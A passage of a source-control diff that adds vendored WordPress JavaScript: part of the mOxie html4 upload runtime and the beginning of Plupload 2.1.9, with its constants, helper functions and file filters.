+			input = document.createElement('input');
+			input.setAttribute('id', uid);
+			input.setAttribute('type', 'file');
+			input.setAttribute('name', _options.name || 'Filedata');
+			input.setAttribute('accept', _mimes.join(','));
+
+			Basic.extend(input.style, {
+				fontSize: '999px',
+				opacity: 0
+			});
+
+			form.appendChild(input);
+			shimContainer.appendChild(form);
+
+			// prepare file input to be placed underneath the browse_button element
+			Basic.extend(input.style, {
+				position: 'absolute',
+				top: 0,
+				left: 0,
+				width: '100%',
+				height: '100%'
+			});
+
+			if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
+				Basic.extend(input.style, {
+					filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
+				});
+			}
+
+			input.onchange = function() { // there should be only one handler for this
+				var file;
+
+				if (!this.value) {
+					return;
+				}
+
+				if (this.files) { // check if browser is fresh enough
+					file = this.files[0];
+
+					// ignore empty files (IE10 for example hangs if you try to send them via XHR)
+					if (file.size === 0) {
+						form.parentNode.removeChild(form);
+						return;
+					}
+				} else {
+					file = {
+						name: this.value
+					};
+				}
+
+				file = new File(I.uid, file);
+
+				// clear event handler
+				this.onchange = function() {}; 
+				addInput.call(comp); 
+
+				comp.files = [file];
+
+				// substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
+				input.setAttribute('id', file.uid);
+				form.setAttribute('id', file.uid + '_form');
+				
+				comp.trigger('change');
+
+				input = form = null;
+			};
+
+
+			// route click event to the input
+			if (I.can('summon_file_dialog')) {
+				browseButton = Dom.get(_options.browse_button);
+				Events.removeEvent(browseButton, 'click', comp.uid);
+				Events.addEvent(browseButton, 'click', function(e) {
+					if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
+						input.click();
+					}
+					e.preventDefault();
+				}, comp.uid);
+			}
+
+			_uid = uid;
+
+			shimContainer = currForm = browseButton = null;
+		}
+
+		Basic.extend(this, {
+			init: function(options) {
+				var comp = this, I = comp.getRuntime(), shimContainer;
+
+				// figure out accept string
+				_options = options;
+				_mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));
+
+				shimContainer = I.getShimContainer();
+
+				(function() {
+					var browseButton, zIndex, top;
+
+					browseButton = Dom.get(options.browse_button);
+
+					// Route click event to the input[type=file] element for browsers that support such behavior
+					if (I.can('summon_file_dialog')) {
+						if (Dom.getStyle(browseButton, 'position') === 'static') {
+							browseButton.style.position = 'relative';
+						}
+
+						zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
+
+						browseButton.style.zIndex = zIndex;
+						shimContainer.style.zIndex = zIndex - 1;
+					}
+
+					/* Since we have to place input[type=file] on top of the browse_button for some browsers,
+					browse_button loses interactivity, so we restore it here */
+					top = I.can('summon_file_dialog') ? browseButton : shimContainer;
+
+					Events.addEvent(top, 'mouseover', function() {
+						comp.trigger('mouseenter');
+					}, comp.uid);
+
+					Events.addEvent(top, 'mouseout', function() {
+						comp.trigger('mouseleave');
+					}, comp.uid);
+
+					Events.addEvent(top, 'mousedown', function() {
+						comp.trigger('mousedown');
+					}, comp.uid);
+
+					Events.addEvent(Dom.get(options.container), 'mouseup', function() {
+						comp.trigger('mouseup');
+					}, comp.uid);
+
+					browseButton = null;
+				}());
+
+				addInput.call(this);
+
+				shimContainer = null;
+
+				// trigger ready event asynchronously
+				comp.trigger({
+					type: 'ready',
+					async: true
+				});
+			},
+
+
+			disable: function(state) {
+				var input;
+
+				if ((input = Dom.get(_uid))) {
+					input.disabled = !!state;
+				}
+			},
+
+			destroy: function() {
+				var I = this.getRuntime()
+				, shim = I.getShim()
+				, shimContainer = I.getShimContainer()
+				;
+				
+				Events.removeAllEvents(shimContainer, this.uid);
+				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
+				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
+				
+				if (shimContainer) {
+					shimContainer.innerHTML = '';
+				}
+
+				shim.removeInstance(this.uid);
+
+				_uid = _mimes = _options = shimContainer = shim = null;
+			}
+		});
+	}
+
+	return (extensions.FileInput = FileInput);
+});
+
+// Included from: src/javascript/runtime/html4/file/FileReader.js
+
+/**
+ * FileReader.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html4/file/FileReader
+@private
+*/
+define("moxie/runtime/html4/file/FileReader", [
+	"moxie/runtime/html4/Runtime",
+	"moxie/runtime/html5/file/FileReader"
+], function(extensions, FileReader) {
+	return (extensions.FileReader = FileReader);
+});
+
+// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js
+
+/**
+ * XMLHttpRequest.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html4/xhr/XMLHttpRequest
+@private
+*/
+define("moxie/runtime/html4/xhr/XMLHttpRequest", [
+	"moxie/runtime/html4/Runtime",
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/utils/Url",
+	"moxie/core/Exceptions",
+	"moxie/core/utils/Events",
+	"moxie/file/Blob",
+	"moxie/xhr/FormData"
+], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
+	
+	function XMLHttpRequest() {
+		var _status, _response, _iframe;
+
+		function cleanup(cb) {
+			var target = this, uid, form, inputs, i, hasFile = false;
+
+			if (!_iframe) {
+				return;
+			}
+
+			uid = _iframe.id.replace(/_iframe$/, '');
+
+			form = Dom.get(uid + '_form');
+			if (form) {
+				inputs = form.getElementsByTagName('input');
+				i = inputs.length;
+
+				while (i--) {
+					switch (inputs[i].getAttribute('type')) {
+						case 'hidden':
+							inputs[i].parentNode.removeChild(inputs[i]);
+							break;
+						case 'file':
+							hasFile = true; // flag the case for later
+							break;
+					}
+				}
+				inputs = [];
+
+				if (!hasFile) { // we need to keep the form for sake of possible retries
+					form.parentNode.removeChild(form);
+				}
+				form = null;
+			}
+
+			// without timeout, request is marked as canceled (in console)
+			setTimeout(function() {
+				Events.removeEvent(_iframe, 'load', target.uid);
+				if (_iframe.parentNode) { // #382
+					_iframe.parentNode.removeChild(_iframe);
+				}
+
+				// check if shim container has any other children, if - not, remove it as well
+				var shimContainer = target.getRuntime().getShimContainer();
+				if (!shimContainer.children.length) {
+					shimContainer.parentNode.removeChild(shimContainer);
+				}
+
+				shimContainer = _iframe = null;
+				cb();
+			}, 1);
+		}
+
+		Basic.extend(this, {
+			send: function(meta, data) {
+				var target = this, I = target.getRuntime(), uid, form, input, blob;
+
+				_status = _response = null;
+
+				function createIframe() {
+					var container = I.getShimContainer() || document.body
+					, temp = document.createElement('div')
+					;
+
+					// IE 6 won't be able to set the name using setAttribute or iframe.name
+					temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>';
+					_iframe = temp.firstChild;
+					container.appendChild(_iframe);
+
+					/* _iframe.onreadystatechange = function() {
+						console.info(_iframe.readyState);
+					};*/
+
+					Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
+						var el;
+
+						try {
+							el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;
+
+							// try to detect some standard error pages
+							if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
+								_status = el.title.replace(/^(\d+).*$/, '$1');
+							} else {
+								_status = 200;
+								// get result
+								_response = Basic.trim(el.body.innerHTML);
+
+								// we need to fire these at least once
+								target.trigger({
+									type: 'progress',
+									loaded: _response.length,
+									total: _response.length
+								});
+
+								if (blob) { // if we were uploading a file
+									target.trigger({
+										type: 'uploadprogress',
+										loaded: blob.size || 1025,
+										total: blob.size || 1025
+									});
+								}
+							}
+						} catch (ex) {
+							if (Url.hasSameOrigin(meta.url)) {
+								// if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
+								// which obviously results to cross domain error (wtf?)
+								_status = 404;
+							} else {
+								cleanup.call(target, function() {
+									target.trigger('error');
+								});
+								return;
+							}
+						}	
+					
+						cleanup.call(target, function() {
+							target.trigger('load');
+						});
+					}, target.uid);
+				} // end createIframe
+
+				// prepare data to be sent and convert if required
+				if (data instanceof FormData && data.hasBlob()) {
+					blob = data.getBlob();
+					uid = blob.uid;
+					input = Dom.get(uid);
+					form = Dom.get(uid + '_form');
+					if (!form) {
+						throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
+					}
+				} else {
+					uid = Basic.guid('uid_');
+
+					form = document.createElement('form');
+					form.setAttribute('id', uid + '_form');
+					form.setAttribute('method', meta.method);
+					form.setAttribute('enctype', 'multipart/form-data');
+					form.setAttribute('encoding', 'multipart/form-data');
+
+					I.getShimContainer().appendChild(form);
+				}
+
+				// set upload target
+				form.setAttribute('target', uid + '_iframe');
+
+				if (data instanceof FormData) {
+					data.each(function(value, name) {
+						if (value instanceof Blob) {
+							if (input) {
+								input.setAttribute('name', name);
+							}
+						} else {
+							var hidden = document.createElement('input');
+
+							Basic.extend(hidden, {
+								type : 'hidden',
+								name : name,
+								value : value
+							});
+
+							// make sure that input[type="file"], if it's there, comes last
+							if (input) {
+								form.insertBefore(hidden, input);
+							} else {
+								form.appendChild(hidden);
+							}
+						}
+					});
+				}
+
+				// set destination url
+				form.setAttribute("action", meta.url);
+
+				createIframe();
+				form.submit();
+				target.trigger('loadstart');
+			},
+
+			getStatus: function() {
+				return _status;
+			},
+
+			getResponse: function(responseType) {
+				if ('json' === responseType) {
+					// strip off <pre>..</pre> tags that might be enclosing the response
+					if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
+						try {
+							return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
+						} catch (ex) {
+							return null;
+						}
+					} 
+				} else if ('document' === responseType) {
+
+				}
+				return _response;
+			},
+
+			abort: function() {
+				var target = this;
+
+				if (_iframe && _iframe.contentWindow) {
+					if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
+						_iframe.contentWindow.stop();
+					} else if (_iframe.contentWindow.document.execCommand) { // IE
+						_iframe.contentWindow.document.execCommand('Stop');
+					} else {
+						_iframe.src = "about:blank";
+					}
+				}
+
+				cleanup.call(this, function() {
+					// target.dispatchEvent('readystatechange');
+					target.dispatchEvent('abort');
+				});
+			}
+		});
+	}
+
+	return (extensions.XMLHttpRequest = XMLHttpRequest);
+});
+
+// Included from: src/javascript/runtime/html4/image/Image.js
+
+/**
+ * Image.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html4/image/Image
+@private
+*/
+define("moxie/runtime/html4/image/Image", [
+	"moxie/runtime/html4/Runtime",
+	"moxie/runtime/html5/image/Image"
+], function(extensions, Image) {
+	return (extensions.Image = Image);
+});
+
+expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
+})(this);
+/**
+ * o.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/*global moxie:true */
+
+/**
+Globally exposed namespace with the most frequently used public classes and handy methods.
+
+@class o
+@static
+@private
+*/
+(function(exports) {
+	"use strict";
+
+	var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;
+
+	// directly add some public classes
+	// (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
+	(function addAlias(ns) {
+		var name, itemType;
+		for (name in ns) {
+			itemType = typeof(ns[name]);
+			if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
+				addAlias(ns[name]);
+			} else if (itemType === 'function') {
+				o[name] = ns[name];
+			}
+		}
+	})(exports.moxie);
+
+	// add some manually
+	o.Env = exports.moxie.core.utils.Env;
+	o.Mime = exports.moxie.core.utils.Mime;
+	o.Exceptions = exports.moxie.core.Exceptions;
+
+	// expose globally
+	exports.mOxie = o;
+	if (!exports.o) {
+		exports.o = o;
+	}
+	return o;
+})(this);
Index: /tags/5.0.20/src/wp-includes/js/plupload/plupload.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/plupload/plupload.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/plupload/plupload.js	(revision 56912)
@@ -0,0 +1,2379 @@
+/**
+ * Plupload - multi-runtime File Uploader
+ * v2.1.9
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ *
+ * Date: 2016-05-15
+ */
+/**
+ * Plupload.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+ * Modified for WordPress, Silverlight and Flash runtimes support was removed.
+ * See https://core.trac.wordpress.org/ticket/41755.
+ */
+
+/*global mOxie:true */
+
+;(function(window, o, undef) {
+
+var delay = window.setTimeout
+, fileFilters = {}
+;
+
+// convert plupload features to caps acceptable by mOxie
+function normalizeCaps(settings) {		
+	var features = settings.required_features, caps = {};
+
+	function resolve(feature, value, strict) {
+		// Feature notation is deprecated, use caps (this thing here is required for backward compatibility)
+		var map = { 
+			chunks: 'slice_blob',
+			jpgresize: 'send_binary_string',
+			pngresize: 'send_binary_string',
+			progress: 'report_upload_progress',
+			multi_selection: 'select_multiple',
+			dragdrop: 'drag_and_drop',
+			drop_element: 'drag_and_drop',
+			headers: 'send_custom_headers',
+			urlstream_upload: 'send_binary_string',
+			canSendBinary: 'send_binary',
+			triggerDialog: 'summon_file_dialog'
+		};
+
+		if (map[feature]) {
+			caps[map[feature]] = value;
+		} else if (!strict) {
+			caps[feature] = value;
+		}
+	}
+
+	if (typeof(features) === 'string') {
+		plupload.each(features.split(/\s*,\s*/), function(feature) {
+			resolve(feature, true);
+		});
+	} else if (typeof(features) === 'object') {
+		plupload.each(features, function(value, feature) {
+			resolve(feature, value);
+		});
+	} else if (features === true) {
+		// check settings for required features
+		if (settings.chunk_size > 0) {
+			caps.slice_blob = true;
+		}
+
+		if (settings.resize.enabled || !settings.multipart) {
+			caps.send_binary_string = true;
+		}
+		
+		plupload.each(settings, function(value, feature) {
+			resolve(feature, !!value, true); // strict check
+		});
+	}
+
+	// WP: only html runtimes.
+	settings.runtimes = 'html5,html4';
+
+	return caps;
+}
+
+/** 
+ * @module plupload	
+ * @static
+ */
+var plupload = {
+	/**
+	 * Plupload version will be replaced on build.
+	 *
+	 * @property VERSION
+	 * @for Plupload
+	 * @static
+	 * @final
+	 */
+	VERSION : '2.1.9',
+
+	/**
+	 * The state of the queue before it has started and after it has finished
+	 *
+	 * @property STOPPED
+	 * @static
+	 * @final
+	 */
+	STOPPED : 1,
+
+	/**
+	 * Upload process is running
+	 *
+	 * @property STARTED
+	 * @static
+	 * @final
+	 */
+	STARTED : 2,
+
+	/**
+	 * File is queued for upload
+	 *
+	 * @property QUEUED
+	 * @static
+	 * @final
+	 */
+	QUEUED : 1,
+
+	/**
+	 * File is being uploaded
+	 *
+	 * @property UPLOADING
+	 * @static
+	 * @final
+	 */
+	UPLOADING : 2,
+
+	/**
+	 * File has failed to be uploaded
+	 *
+	 * @property FAILED
+	 * @static
+	 * @final
+	 */
+	FAILED : 4,
+
+	/**
+	 * File has been uploaded successfully
+	 *
+	 * @property DONE
+	 * @static
+	 * @final
+	 */
+	DONE : 5,
+
+	// Error constants used by the Error event
+
+	/**
+	 * Generic error for example if an exception is thrown inside Silverlight.
+	 *
+	 * @property GENERIC_ERROR
+	 * @static
+	 * @final
+	 */
+	GENERIC_ERROR : -100,
+
+	/**
+	 * HTTP transport error. For example if the server produces a HTTP status other than 200.
+	 *
+	 * @property HTTP_ERROR
+	 * @static
+	 * @final
+	 */
+	HTTP_ERROR : -200,
+
+	/**
+	 * Generic I/O error. For example if it wasn't possible to open the file stream on local machine.
+	 *
+	 * @property IO_ERROR
+	 * @static
+	 * @final
+	 */
+	IO_ERROR : -300,
+
+	/**
+	 * @property SECURITY_ERROR
+	 * @static
+	 * @final
+	 */
+	SECURITY_ERROR : -400,
+
+	/**
+	 * Initialization error. Will be triggered if no runtime was initialized.
+	 *
+	 * @property INIT_ERROR
+	 * @static
+	 * @final
+	 */
+	INIT_ERROR : -500,
+
+	/**
+	 * File size error. If the user selects a file that is too large it will be blocked and an error of this type will be triggered.
+	 *
+	 * @property FILE_SIZE_ERROR
+	 * @static
+	 * @final
+	 */
+	FILE_SIZE_ERROR : -600,
+
+	/**
+	 * File extension error. If the user selects a file that isn't valid according to the filters setting.
+	 *
+	 * @property FILE_EXTENSION_ERROR
+	 * @static
+	 * @final
+	 */
+	FILE_EXTENSION_ERROR : -601,
+
+	/**
+	 * Duplicate file error. If prevent_duplicates is set to true and user selects the same file again.
+	 *
+	 * @property FILE_DUPLICATE_ERROR
+	 * @static
+	 * @final
+	 */
+	FILE_DUPLICATE_ERROR : -602,
+
+	/**
+	 * Runtime will try to detect if image is proper one. Otherwise will throw this error.
+	 *
+	 * @property IMAGE_FORMAT_ERROR
+	 * @static
+	 * @final
+	 */
+	IMAGE_FORMAT_ERROR : -700,
+
+	/**
+	 * While working on files runtime may run out of memory and will throw this error.
+	 *
+	 * @since 2.1.2
+	 * @property MEMORY_ERROR
+	 * @static
+	 * @final
+	 */
+	MEMORY_ERROR : -701,
+
+	/**
+	 * Each runtime has an upper limit on a dimension of the image it can handle. If bigger, will throw this error.
+	 *
+	 * @property IMAGE_DIMENSIONS_ERROR
+	 * @static
+	 * @final
+	 */
+	IMAGE_DIMENSIONS_ERROR : -702,
+
+	/**
+	 * Mime type lookup table.
+	 *
+	 * @property mimeTypes
+	 * @type Object
+	 * @final
+	 */
+	mimeTypes : o.mimes,
+
+	/**
+	 * In some cases sniffing is the only way around :(
+	 */
+	ua: o.ua,
+
+	/**
+	 * Gets the true type of the built-in object (better version of typeof).
+	 * @credits Angus Croll (http://javascriptweblog.wordpress.com/)
+	 *
+	 * @method typeOf
+	 * @static
+	 * @param {Object} o Object to check.
+	 * @return {String} Object [[Class]]
+	 */
+	typeOf: o.typeOf,
+
+	/**
+	 * Extends the specified object with another object.
+	 *
+	 * @method extend
+	 * @static
+	 * @param {Object} target Object to extend.
+	 * @param {Object..} obj Multiple objects to extend with.
+	 * @return {Object} Same as target, the extended object.
+	 */
+	extend : o.extend,
+
+	/**
+	 * Generates an unique ID. This is 99.99% unique since it takes the current time and 5 random numbers.
+	 * The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manages
+	 * to get 5 the same random numbers between 0-65535 it also uses a counter so each call will be guaranteed to be page unique.
+	 * It's more probable for the earth to be hit with an asteriod. You can also if you want to be 100% sure set the plupload.guidPrefix property
+	 * to an user unique key.
+	 *
+	 * @method guid
+	 * @static
+	 * @return {String} Virtually unique id.
+	 */
+	guid : o.guid,
+
+	/**
+	 * Get array of DOM Elements by their ids.
+	 * 
+	 * @method get
+	 * @param {String} id Identifier of the DOM Element
+	 * @return {Array}
+	*/
+	getAll : function get(ids) {
+		var els = [], el;
+
+		if (plupload.typeOf(ids) !== 'array') {
+			ids = [ids];
+		}
+
+		var i = ids.length;
+		while (i--) {
+			el = plupload.get(ids[i]);
+			if (el) {
+				els.push(el);
+			}
+		}
+
+		return els.length ? els : null;
+	},
+
+	/**
+	Get DOM element by id
+
+	@method get
+	@param {String} id Identifier of the DOM Element
+	@return {Node}
+	*/
+	get: o.get,
+
+	/**
+	 * Executes the callback function for each item in array/object. If you return false in the
+	 * callback it will break the loop.
+	 *
+	 * @method each
+	 * @static
+	 * @param {Object} obj Object to iterate.
+	 * @param {function} callback Callback function to execute for each item.
+	 */
+	each : o.each,
+
+	/**
+	 * Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.
+	 *
+	 * @method getPos
+	 * @static
+	 * @param {Element} node HTML element or element id to get x, y position from.
+	 * @param {Element} root Optional root element to stop calculations at.
+	 * @return {object} Absolute position of the specified element object with x, y fields.
+	 */
+	getPos : o.getPos,
+
+	/**
+	 * Returns the size of the specified node in pixels.
+	 *
+	 * @method getSize
+	 * @static
+	 * @param {Node} node Node to get the size of.
+	 * @return {Object} Object with a w and h property.
+	 */
+	getSize : o.getSize,
+
+	/**
+	 * Encodes the specified string.
+	 *
+	 * @method xmlEncode
+	 * @static
+	 * @param {String} s String to encode.
+	 * @return {String} Encoded string.
+	 */
+	xmlEncode : function(str) {
+		var xmlEncodeChars = {'<' : 'lt', '>' : 'gt', '&' : 'amp', '"' : 'quot', '\'' : '#39'}, xmlEncodeRegExp = /[<>&\"\']/g;
+
+		return str ? ('' + str).replace(xmlEncodeRegExp, function(chr) {
+			return xmlEncodeChars[chr] ? '&' + xmlEncodeChars[chr] + ';' : chr;
+		}) : str;
+	},
+
+	/**
+	 * Forces anything into an array.
+	 *
+	 * @method toArray
+	 * @static
+	 * @param {Object} obj Object with length field.
+	 * @return {Array} Array object containing all items.
+	 */
+	toArray : o.toArray,
+
+	/**
+	 * Find an element in array and return its index if present, otherwise return -1.
+	 *
+	 * @method inArray
+	 * @static
+	 * @param {mixed} needle Element to find
+	 * @param {Array} array
+	 * @return {Int} Index of the element, or -1 if not found
+	 */
+	inArray : o.inArray,
+
+	/**
+	 * Extends the language pack object with new items.
+	 *
+	 * @method addI18n
+	 * @static
+	 * @param {Object} pack Language pack items to add.
+	 * @return {Object} Extended language pack object.
+	 */
+	addI18n : o.addI18n,
+
+	/**
+	 * Translates the specified string by checking for the english string in the language pack lookup.
+	 *
+	 * @method translate
+	 * @static
+	 * @param {String} str String to look for.
+	 * @return {String} Translated string or the input string if it wasn't found.
+	 */
+	translate : o.translate,
+
+	/**
+	 * Checks if object is empty.
+	 *
+	 * @method isEmptyObj
+	 * @static
+	 * @param {Object} obj Object to check.
+	 * @return {Boolean}
+	 */
+	isEmptyObj : o.isEmptyObj,
+
+	/**
+	 * Checks if specified DOM element has specified class.
+	 *
+	 * @method hasClass
+	 * @static
+	 * @param {Object} obj DOM element like object to add handler to.
+	 * @param {String} name Class name
+	 */
+	hasClass : o.hasClass,
+
+	/**
+	 * Adds specified className to specified DOM element.
+	 *
+	 * @method addClass
+	 * @static
+	 * @param {Object} obj DOM element like object to add handler to.
+	 * @param {String} name Class name
+	 */
+	addClass : o.addClass,
+
+	/**
+	 * Removes specified className from specified DOM element.
+	 *
+	 * @method removeClass
+	 * @static
+	 * @param {Object} obj DOM element like object to add handler to.
+	 * @param {String} name Class name
+	 */
+	removeClass : o.removeClass,
+
+	/**
+	 * Returns a given computed style of a DOM element.
+	 *
+	 * @method getStyle
+	 * @static
+	 * @param {Object} obj DOM element like object.
+	 * @param {String} name Style you want to get from the DOM element
+	 */
+	getStyle : o.getStyle,
+
+	/**
+	 * Adds an event handler to the specified object and store reference to the handler
+	 * in objects internal Plupload registry (@see removeEvent).
+	 *
+	 * @method addEvent
+	 * @static
+	 * @param {Object} obj DOM element like object to add handler to.
+	 * @param {String} name Name to add event listener to.
+	 * @param {Function} callback Function to call when event occurs.
+	 * @param {String} (optional) key that might be used to add specifity to the event record.
+	 */
+	addEvent : o.addEvent,
+
+	/**
+	 * Remove event handler from the specified object. If third argument (callback)
+	 * is not specified remove all events with the specified name.
+	 *
+	 * @method removeEvent
+	 * @static
+	 * @param {Object} obj DOM element to remove event listener(s) from.
+	 * @param {String} name Name of event listener to remove.
+	 * @param {Function|String} (optional) might be a callback or unique key to match.
+	 */
+	removeEvent: o.removeEvent,
+
+	/**
+	 * Remove all kind of events from the specified object
+	 *
+	 * @method removeAllEvents
+	 * @static
+	 * @param {Object} obj DOM element to remove event listeners from.
+	 * @param {String} (optional) unique key to match, when removing events.
+	 */
+	removeAllEvents: o.removeAllEvents,
+
+	/**
+	 * Cleans the specified name from national characters (diacritics). The result will be a name with only a-z, 0-9 and _.
+	 *
+	 * @method cleanName
+	 * @static
+	 * @param {String} s String to clean up.
+	 * @return {String} Cleaned string.
+	 */
+	cleanName : function(name) {
+		var i, lookup;
+
+		// Replace diacritics
+		lookup = [
+			/[\300-\306]/g, 'A', /[\340-\346]/g, 'a',
+			/\307/g, 'C', /\347/g, 'c',
+			/[\310-\313]/g, 'E', /[\350-\353]/g, 'e',
+			/[\314-\317]/g, 'I', /[\354-\357]/g, 'i',
+			/\321/g, 'N', /\361/g, 'n',
+			/[\322-\330]/g, 'O', /[\362-\370]/g, 'o',
+			/[\331-\334]/g, 'U', /[\371-\374]/g, 'u'
+		];
+
+		for (i = 0; i < lookup.length; i += 2) {
+			name = name.replace(lookup[i], lookup[i + 1]);
+		}
+
+		// Replace whitespace
+		name = name.replace(/\s+/g, '_');
+
+		// Remove anything else
+		name = name.replace(/[^a-z0-9_\-\.]+/gi, '');
+
+		return name;
+	},
+
+	/**
+	 * Builds a full url out of a base URL and an object with items to append as query string items.
+	 *
+	 * @method buildUrl
+	 * @static
+	 * @param {String} url Base URL to append query string items to.
+	 * @param {Object} items Name/value object to serialize as a querystring.
+	 * @return {String} String with url + serialized query string items.
+	 */
+	buildUrl : function(url, items) {
+		var query = '';
+
+		plupload.each(items, function(value, name) {
+			query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value);
+		});
+
+		if (query) {
+			url += (url.indexOf('?') > 0 ? '&' : '?') + query;
+		}
+
+		return url;
+	},
+
+	/**
+	 * Formats the specified number as a size string for example 1024 becomes 1 KB.
+	 *
+	 * @method formatSize
+	 * @static
+	 * @param {Number} size Size to format as string.
+	 * @return {String} Formatted size string.
+	 */
+	formatSize : function(size) {
+
+		if (size === undef || /\D/.test(size)) {
+			return plupload.translate('N/A');
+		}
+
+		function round(num, precision) {
+			return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision);
+		}
+
+		var boundary = Math.pow(1024, 4);
+
+		// TB
+		if (size > boundary) {
+			return round(size / boundary, 1) + " " + plupload.translate('tb');
+		}
+
+		// GB
+		if (size > (boundary/=1024)) {
+			return round(size / boundary, 1) + " " + plupload.translate('gb');
+		}
+
+		// MB
+		if (size > (boundary/=1024)) {
+			return round(size / boundary, 1) + " " + plupload.translate('mb');
+		}
+
+		// KB
+		if (size > 1024) {
+			return Math.round(size / 1024) + " " + plupload.translate('kb');
+		}
+
+		return size + " " + plupload.translate('b');
+	},
+
+
+	/**
+	 * Parses the specified size string into a byte value. For example 10kb becomes 10240.
+	 *
+	 * @method parseSize
+	 * @static
+	 * @param {String|Number} size String to parse or number to just pass through.
+	 * @return {Number} Size in bytes.
+	 */
+	parseSize : o.parseSizeStr,
+
+
+	/**
+	 * A way to predict what runtime will be choosen in the current environment with the
+	 * specified settings.
+	 *
+	 * @method predictRuntime
+	 * @static
+	 * @param {Object|String} config Plupload settings to check
+	 * @param {String} [runtimes] Comma-separated list of runtimes to check against
+	 * @return {String} Type of compatible runtime
+	 */
+	predictRuntime : function(config, runtimes) {
+		var up, runtime;
+
+		up = new plupload.Uploader(config);
+		runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes);
+		up.destroy();
+		return runtime;
+	},
+
+	/**
+	 * Registers a filter that will be executed for each file added to the queue.
+	 * If callback returns false, file will not be added.
+	 *
+	 * Callback receives two arguments: a value for the filter as it was specified in settings.filters
+	 * and a file to be filtered. Callback is executed in the context of uploader instance.
+	 *
+	 * @method addFileFilter
+	 * @static
+	 * @param {String} name Name of the filter by which it can be referenced in settings.filters
+	 * @param {String} cb Callback - the actual routine that every added file must pass
+	 */
+	addFileFilter: function(name, cb) {
+		fileFilters[name] = cb;
+	}
+};
+
+
+plupload.addFileFilter('mime_types', function(filters, file, cb) {
+	if (filters.length && !filters.regexp.test(file.name)) {
+		this.trigger('Error', {
+			code : plupload.FILE_EXTENSION_ERROR,
+			message : plupload.translate('File extension error.'),
+			file : file
+		});
+		cb(false);
+	} else {
+		cb(true);
+	}
+});
+
+
+plupload.addFileFilter('max_file_size', function(maxSize, file, cb) {
+	var undef;
+
+	maxSize = plupload.parseSize(maxSize);
+
+	// Invalid file size
+	if (file.size !== undef && maxSize && file.size > maxSize) {
+		this.trigger('Error', {
+			code : plupload.FILE_SIZE_ERROR,
+			message : plupload.translate('File size error.'),
+			file : file
+		});
+		cb(false);
+	} else {
+		cb(true);
+	}
+});
+
+
+plupload.addFileFilter('prevent_duplicates', function(value, file, cb) {
+	if (value) {
+		var ii = this.files.length;
+		while (ii--) {
+			// Compare by name and size (size might be 0 or undefined, but still equivalent for both)
+			if (file.name === this.files[ii].name && file.size === this.files[ii].size) {
+				this.trigger('Error', {
+					code : plupload.FILE_DUPLICATE_ERROR,
+					message : plupload.translate('Duplicate file error.'),
+					file : file
+				});
+				cb(false);
+				return;
+			}
+		}
+	}
+	cb(true);
+});
+
+
+/**
+@class Uploader
+@constructor
+
+@param {Object} settings For detailed information about each option check documentation.
+	@param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger.
